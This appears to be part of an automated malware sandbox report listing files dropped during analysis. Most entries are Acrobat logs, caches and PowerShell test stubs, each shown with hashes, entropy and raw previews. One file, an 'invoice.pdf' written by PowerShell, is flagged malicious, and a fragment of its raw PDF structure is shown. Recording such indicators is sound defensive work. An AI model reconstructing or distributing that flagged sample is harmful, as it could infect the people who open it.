SHA-256:	99D227B806587B5D4B6EF89C1C4A889676931898C64B1402C6A381623E1E1BF8
SHA-512:	E9480BC095810F5832482F69147E4456883F7AA4425DD09E4711138FCDB7D1447300C9482684CF1B22AC32C24466D5997E28B0AA73CF6C949459E865B3D5003B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5490198657371055
Encrypted:	false
SSDEEP:	24:7+tbO8gfOUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxPqLxxK:7MbO/HXc+XcGNFlRYIX2vyqVl2GL7msQ
MD5:	6A6F9D595F613FBDE61A914BA9A9F988
SHA1:	74FF0535C184F2A4E94ED088C88A7CB8F1573EC1
SHA-256:	7257E9F89D4A45E6B7603923B5C621FBC79A67F2DCD46330296A3BACC9E5F5E7
SHA-512:	08B22717204224560CD9A9BFB77CE4DB91BC8006781B8A869FA582A074149442068DA38A4F9205ACC85AB91116009585814CD6F63BFF86647182C7B9E79D5A28
Malicious:	false
Preview:	.... .c.....u5............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgpCg0qVdzUATgxYD8eoUBzNXYyu:6a6TZ44ADEpCKVdvTgCDdXK
MD5:	C9DD3F67545AC7486C829846B51A45B3
SHA1:	D9D4D2A280748F4BBAE3E2540DC6A9AD983DD001
SHA-256:	C7EAD754D645373CD5BD0962B8703F0AEC2579A32AE791A3551BDF5DC48BF6C9
SHA-512:	F131451E96EB6A162D7D56247ACE724B75DD90DB916C78ADC8F15A535DC79BF739616559EBF023910D46435332E4D586FD0587EF547873BDC3DC56EF5D81F415
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI33a65.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+yl4:Qw946cPbiOxDlbYnuRKdh24
MD5:	8D807ADC75F3D52BC6497D0B9856C477
SHA1:	65D1F163301A4CFCF2606D68B0EF8C3A9DA72675
SHA-256:	E78C76C1FEC97847353F88350E490A793D9195E924BAE956DBEFFD1FAFF36E6C
SHA-512:	E14DC4FCE52E08D588FD1C4EC53277263345C446D0C5D2F4F6C6BA3DE9BAFA07CDCDDE4931CE48968BF008FEDA0789AC4EC28B7B22E2D185B2ED107523DB292C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.0.7.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1wduebka.qim.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxwslzum.vfh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91nidkyg_7bozya_28g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9rz21fe_7bozyb_28g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-07-08-553.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354365664739953
Encrypted:	false
SSDEEP:	384:7giNBzQNBIhbw6a/D1Ax1WXR9jA0k6q1wH3bpRBkx/bzJbPaaFpHAHAtEY6CTWOM:6l26Z
MD5:	A2854A27395BB34CF5470636772222C9
SHA1:	02C1FF2EB9CEDA5A2958F21A769416A010BEAEB9
SHA-256:	5B6A7158463F176E0CB8D08692D6C31E8558603869C484CB8A088F052C893050
SHA-512:	7DD5430328CC9600D244476F393CA7D8BF301B0D82EF2660E26A77B27CFD30D83B34C27660493125F85CFDE2FB6040B7B70510ECD668FCC22E6C67EB02889681
Malicious:	false
Preview:	SessionID=62a40933-dcd8-4e73-89df-8f00628a75f1.1736582828577 Timestamp=2025-01-11T03:07:08:577-0500 ThreadID=7616 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=62a40933-dcd8-4e73-89df-8f00628a75f1.1736582828577 Timestamp=2025-01-11T03:07:08:577-0500 ThreadID=7616 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=62a40933-dcd8-4e73-89df-8f00628a75f1.1736582828577 Timestamp=2025-01-11T03:07:08:577-0500 ThreadID=7616 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=62a40933-dcd8-4e73-89df-8f00628a75f1.1736582828577 Timestamp=2025-01-11T03:07:08:577-0500 ThreadID=7616 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=62a40933-dcd8-4e73-89df-8f00628a75f1.1736582828577 Timestamp=2025-01-11T03:07:08:578-0500 ThreadID=7616 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39670164588898
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbtcbmIyWcbJ:V3fOCIdJDe0yd
MD5:	421092F9BFC7B3F50428BBB609FEC40B
SHA1:	3FAC25F513C0B1529CA20AF0F9E0C887097C6F38
SHA-256:	AA9EBCA63C9436C979AB27B239DB5B284F123BCF43B8C92A643212AEFE8B5673
SHA-512:	458D89431FDAEA2B88517C2B43754D9B73B315BC091CCFD8005B16BB429BC5B97FC0DB3F565DDDEBD93E8206D9C1D1845BBB851379DE85BDF2B9455EB720E58C
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\111c67ac-5559-4a96-8430-63091777592c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/ndpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJi7oW:P3mlind9i4ufFXpAXkrfUs03WLaGZjZI
MD5:	863C91FA2B644E21ADBFD5DA05E8700E
SHA1:	D92E74950342F782D65BD5D8AE58ACB97778A6CB
SHA-256:	98FBDD9D47EBDA0A34F3B54D6C11EEA457B7EFE641D0B25CCCA8DE46C628B774
SHA-512:	9C899A75B16F6280FF1DAC2C9CBD1E99738E7E010ECF09A974AA58005CA11CCCD098CB1144B5A131F176C55EB6C70CB0676B81D90ECA32B26953F91C00BBBC37
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\458e9037-f242-4a91-8768-72f690d51add.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b084bcf1-a3ef-4aac-8381-ce97c38fbc1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d4586973-5163-48f1-9a5b-c536f1477fde.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:bWNh3P6+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:C3PDegf121YS8lkipdjMMNB1DofjgJJg
MD5:	59EE5E2FB56A099CAA8EDFD7AF821ED6
SHA1:	F5DC4F876768D57B69EC894ADE0A66E813BFED92
SHA-256:	E100AAAA4FB2B3D78E3B6475C3B48BE189C5A39F73CFC2D22423F2CE928D3E75
SHA-512:	77A45C89F6019F92576D88AE67B59F9D6D36BA6FDC020419DAB55DBD8492BA97B3DAC18278EB0210F90758B3D643EA8DCF8EC2BD1481930A59B8BB515E7440FE
Malicious:	false
Preview:	...........].s..R/c..D@..\......3Z.....E.,...d{.k.~..H3....-......A...<>n.......X..Dp..d......f.{...9&F..........R.UW-..^..zC.kjOUUMm...nW...Z.7.J.R.....=.R........4..(WCMQ..u]]R...R......5...N)].....!.-.d]M....7.......i..rmP...6A.Z .=..~..$C-..}..Mo.T......:._'.S....r.9....6.....r....#...<U@.Iiu..X].T x.j....x...:q.....j]P3......[.5]\|..7;.5....^..7(.E..@..s...2..}..j.......t.5J...6Rf..%P{2T^$Y.V.O9.W...4...\ .5............Q.&j....h.+.u......W...4f]..s..(...:....`.<W_...zBs\|tF5 NI4.zD..5...u...!........M.0.K%F....,.c.....>R6..i..Am.y.~5..S....M...^......F.&..V...Z.......i....b....V..,.UH"...W...5}A.....KUT..=6jZ.....B...Z...Y(..u...=....x,2..."._Cf.....b...z7..... r..#.r..L9....2...R,..J?&..p..~.....3.=z...w..m..U..%._#<....r.....B.z..G..D.:4m.Z.&.N......</..Dz+.......vn.....;Qhk....!dw...A......3..a..K...).Q.`t[..)].6.%@....v.g.%E>;Z...uz.L..6Ct..O.Eo.O.e..........J.J$...:....K..)......F.....ZWE...z..5..g.io...l2[.,m9X..f......5\|:bj[.._R{gi...^

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
